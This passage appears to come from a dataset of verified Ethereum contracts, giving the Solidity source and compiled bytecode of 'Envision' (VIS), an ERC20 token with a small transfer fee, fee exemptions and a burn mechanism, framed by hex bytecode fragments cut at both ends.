ffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611c0a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b756022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611740576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561184c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611b526023913960400191505060405180910390fd5b611857868686611b4c565b6118c284604051806060016040528060268152602001611b97602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611955846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611ab1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a76578082015181840152602081019050611a5b565b50505050905090810190601f168015611aa35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122016da078c04b71353b011b32d7230b03322a109ba29716ef576e0f4e1d3d809bb64736f6c63430006060033 | {"success": true, "error": null, "results": {}} | 975 |
0x51bb44d7a49d1e5165794e6b54461e1cf87f773b | /**
*Submitted for verification at Etherscan.io on 2022-02-14
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/**
* @dev Implementation of the DGMV Token
*
*/
contract Envision is Ownable, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping (address => bool) private _isExcludedFromFee;
mapping(address => mapping(address => uint256)) private _allowances;
string constant private _name = "Envision";
string constant private _symbol = "VIS";
uint8 constant private _decimal = 18;
uint256 private _totalSupply = 200000000 * (10 ** _decimal); // 200 million tokens
uint256 constant public _taxBurn = 2;
uint256 constant public _taxLiquidity = 5;
address public teamWallet;
uint256 public toBurnAmount = 0;
event teamWalletChanged(address oldWalletAddress, address newWalletAddress);
event feeCollected(address teamWallet, uint256 amount);
event excludingAddressFromFee(address account);
event includingAddressInFee(address account);
modifier onlyTeamWallet() {
require(teamWallet == _msgSender(), "Caller is not the teamwallet");
_;
}
/**
* @dev Sets the values for {name}, {symbol}, {total supply} and {decimal}.
* Currently teamWallet will be Owner and can be changed later
*/
constructor(address _teamWallet) {
require(_teamWallet!=address(0), "Cannot set teamwallet as zero address");
_balances[_msgSender()] = _totalSupply;
_isExcludedFromFee[_msgSender()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamWallet] = true;
teamWallet = _teamWallet;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
/**
* @dev Returns Name of the token
*/
function name() external view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the name.
*/
function symbol() external view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation
*/
function decimals() external view virtual override returns (uint8) {
return _decimal;
}
/**
* @dev This will give the total number of tokens in existence.
*/
function totalSupply() external view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
*/
function balanceOf(address account) external view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev Returns collected fees of the token
*/
function collectedFees() external view returns (uint256) {
return _balances[address(this)];
}
/**
* @dev Transfer token to a specified address and Emits a Transfer event.
*/
function transfer(address recipient, uint256 amount) external virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev Function to check the number of tokens that an owner allowed to a spender
*/
function allowance(address owner, address spender) external view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev Function to allow anyone to spend a token from your account and Emits an Approval event.
*/
function approve(address spender, uint256 amount) external virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev owner can make exclude the account from paying fee on transfer
*/
function excludeFromFee(address account) external onlyOwner {
require(account!=address(0), "Excluding for the zero address");
_isExcludedFromFee[account] = true;
emit excludingAddressFromFee(account);
}
/**
* @dev check if account is excluded from fee
*/
function isExcludedFromFee(address account) external view returns(bool) {
return _isExcludedFromFee[account];
}
/**
* @dev owner can make the account pay fee on transfer.
*/
function includeInFee(address account) external onlyOwner {
require(account!=address(0), "Including for the zero address");
_isExcludedFromFee[account] = false;
emit includingAddressInFee(account);
}
/**
* @dev owner can claim collected fees.
*/
function collectFees() external onlyOwner {
uint256 fees = _balances[address(this)];
_transfer(address(this), teamWallet, _balances[address(this)]);
emit feeCollected(teamWallet, fees);
}
/**
* @dev teamWallet can burn collected burn fees.
*/
function burnCollectedFees() external onlyTeamWallet {
require(_balances[teamWallet] >= toBurnAmount, "Does not have the required amount of tokens to burn");
_transfer(teamWallet, address(0), toBurnAmount);
_totalSupply -= toBurnAmount;
toBurnAmount = 0;
emit feeCollected(address(0), toBurnAmount);
}
/**
* @dev owner can update the collection team wallet
*/
function updateTeamWallet(address _teamWallet) external onlyOwner {
require(_teamWallet!=address(0), "Cannot set teamwallet as zero address");
address oldWallet = teamWallet;
teamWallet = _teamWallet;
_isExcludedFromFee[_teamWallet] = true;
_isExcludedFromFee[oldWallet] = false;
emit teamWalletChanged(oldWallet,_teamWallet);
}
/**
* @dev Function to transfer allowed token from other's account
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Function to increase the allowance of another account
*/
function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool) {
require(spender!=address(0), "Increasing allowance for zero address");
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Function to decrease the allowance of another account
*/
function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) {
require(spender!=address(0), "Decreasing allowance for zero address");
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
if(_isExcludedFromFee[sender]) {
unchecked {//condititon to exclude
_balances[recipient] += amount;
}
}else{
unchecked {
uint256 burnFee = (amount * _taxBurn) / 1000;
uint256 tFee = (amount * (_taxBurn + _taxLiquidity)) / 1000;
_balances[recipient] += amount - tFee;
_balances[address(this)] += tFee;
toBurnAmount += burnFee;
}
}
emit Transfer(sender, recipient, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
} | 0x608060405234801561001057600080fd5b50600436106101735760003560e01c80637cb332bb116100de578063a9059cbb11610097578063dd62ed3e11610071578063dd62ed3e1461042c578063ea2f0b371461045c578063f2fde38b14610478578063f9efb5051461049457610173565b8063a9059cbb146103d4578063b3c8591814610404578063c87965721461042257610173565b80637cb332bb14610324578063856e8bad146103405780638da5cb5b1461034a5780639003adfe1461036857806395d89b4114610386578063a457c2d7146103a457610173565b806339509351116101305780633950935114610250578063437823ec146102805780635342acb41461029c57806359927044146102cc57806370a08231146102ea578063715018a61461031a57610173565b806306fdde0314610178578063095ea7b31461019657806318160ddd146101c657806323b872dd146101e4578063313ce5671461021457806337a67ca714610232575b600080fd5b6101806104b2565b60405161018d9190612182565b60405180910390f35b6101b060048036038101906101ab9190611b4d565b6104ef565b6040516101bd9190612167565b60405180910390f35b6101ce61050d565b6040516101db9190612364565b60405180910390f35b6101fe60048036038101906101f99190611afe565b610517565b60405161020b9190612167565b60405180910390f35b61021c61060f565b604051610229919061237f565b60405180910390f35b61023a610618565b6040516102479190612364565b60405180910390f35b61026a60048036038101906102659190611b4d565b61061d565b6040516102779190612167565b60405180910390f35b61029a60048036038101906102959190611a99565b610738565b005b6102b660048036038101906102b19190611a99565b6108b6565b6040516102c39190612167565b60405180910390f35b6102d461090c565b6040516102e191906120fa565b60405180910390f35b61030460048036038101906102ff9190611a99565b610932565b6040516103119190612364565b60405180910390f35b61032261097b565b005b61033e60048036038101906103399190611a99565b610a03565b005b610348610c44565b005b610352610e12565b60405161035f91906120fa565b60405180910390f35b610370610e3b565b60405161037d9190612364565b60405180910390f35b61038e610e82565b60405161039b9190612182565b60405180910390f35b6103be60048036038101906103b99190611b4d565b610ebf565b6040516103cb9190612167565b60405180910390f35b6103ee60048036038101906103e99190611b4d565b61101a565b6040516103fb9190612167565b60405180910390f35b61040c611038565b6040516104199190612364565b60405180910390f35b61042a61103d565b005b61044660048036038101906104419190611ac2565b6111c7565b6040516104539190612364565b60405180910390f35b61047660048036038101906104719190611a99565b61124e565b005b610492600480360381019061048d9190611a99565b6113cc565b005b61049c6114c4565b6040516104a99190612364565b60405180910390f35b60606040518060400160405280600881526020017f456e766973696f6e000000000000000000000000000000000000000000000000815250905090565b60006105036104fc6114ca565b84846114d2565b6001905092915050565b6000600454905090565b600061052484848461169d565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061056f6114ca565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156105ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105e690612244565b60405180910390fd5b610603856105fb6114ca565b8584036114d2565b60019150509392505050565b60006012905090565b600581565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561068e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068590612304565b60405180910390fd5b61072e6106996114ca565b8484600360006106a76114ca565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461072991906123b6565b6114d2565b6001905092915050565b6107406114ca565b73ffffffffffffffffffffffffffffffffffffffff1661075e610e12565b73ffffffffffffffffffffffffffffffffffffffff16146107b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ab90612264565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610824576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081b906122c4565b60405180910390fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f846730387031eb38d037020e318a00ecd9b790625c4764c8c74caffda5efe12e816040516108ab91906120fa565b60405180910390a150565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6109836114ca565b73ffffffffffffffffffffffffffffffffffffffff166109a1610e12565b73ffffffffffffffffffffffffffffffffffffffff16146109f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ee90612264565b60405180910390fd5b610a0160006119ab565b565b610a0b6114ca565b73ffffffffffffffffffffffffffffffffffffffff16610a29610e12565b73ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7690612264565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610aef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae690612224565b60405180910390fd5b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507fb2bfb416cf413294a87930f9bac388d81bdd29b7aabfac207310d6988daace158183604051610c38929190612115565b60405180910390a15050565b610c4c6114ca565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cdb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd2906121a4565b60405180910390fd5b60065460016000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610d81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d78906122a4565b60405180910390fd5b610db1600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600060065461169d565b60065460046000828254610dc5919061240c565b9250508190555060006006819055507fc5a2b7ad6439179b1edea47d8a4bc00b2c5270a1c741c00fab7be4012caa7d0a6000600654604051610e0892919061213e565b60405180910390a1565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905090565b60606040518060400160405280600381526020017f5649530000000000000000000000000000000000000000000000000000000000815250905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2790612324565b60405180910390fd5b600060036000610f3e6114ca565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610ffb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff290612344565b60405180910390fd5b61100f6110066114ca565b858584036114d2565b600191505092915050565b600061102e6110276114ca565b848461169d565b6001905092915050565b600281565b6110456114ca565b73ffffffffffffffffffffffffffffffffffffffff16611063610e12565b73ffffffffffffffffffffffffffffffffffffffff16146110b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b090612264565b60405180910390fd5b6000600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061116930600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461169d565b7fc5a2b7ad6439179b1edea47d8a4bc00b2c5270a1c741c00fab7be4012caa7d0a600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826040516111bc92919061213e565b60405180910390a150565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6112566114ca565b73ffffffffffffffffffffffffffffffffffffffff16611274610e12565b73ffffffffffffffffffffffffffffffffffffffff16146112ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c190612264565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561133a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133190612284565b60405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f3adeb961032d23873014c008c6b64c18b61201f11a10a1a65dfc350259da6dbd816040516113c191906120fa565b60405180910390a150565b6113d46114ca565b73ffffffffffffffffffffffffffffffffffffffff166113f2610e12565b73ffffffffffffffffffffffffffffffffffffffff1614611448576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143f90612264565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156114b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114af906121c4565b60405180910390fd5b6114c1816119ab565b50565b60065481565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611542576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611539906122e4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a9906121e4565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116909190612364565b60405180910390a3505050565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611724576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171b90612204565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561180e5781600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550611940565b60006103e8600284028161184b577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b04905060006103e8600560020185028161188e577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b049050808403600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555080600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508160066000828254019250508190555050505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161199d9190612364565b60405180910390a350505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081359050611a7e81612508565b92915050565b600081359050611a938161251f565b92915050565b600060208284031215611aab57600080fd5b6000611ab984828501611a6f565b91505092915050565b60008060408385031215611ad557600080fd5b6000611ae385828601611a6f565b9250506020611af485828601611a6f565b9150509250929050565b600080600060608486031215611b1357600080fd5b6000611b2186828701611a6f565b9350506020611b3286828701611a6f565b9250506040611b4386828701611a84565b9150509250925092565b60008060408385031215611b6057600080fd5b6000611b6e85828601611a6f565b9250506020611b7f85828601611a84565b9150509250929050565b611b9281612440565b82525050565b611ba181612452565b82525050565b6000611bb28261239a565b611bbc81856123a5565b9350611bcc818560208601612495565b611bd5816124f7565b84019150509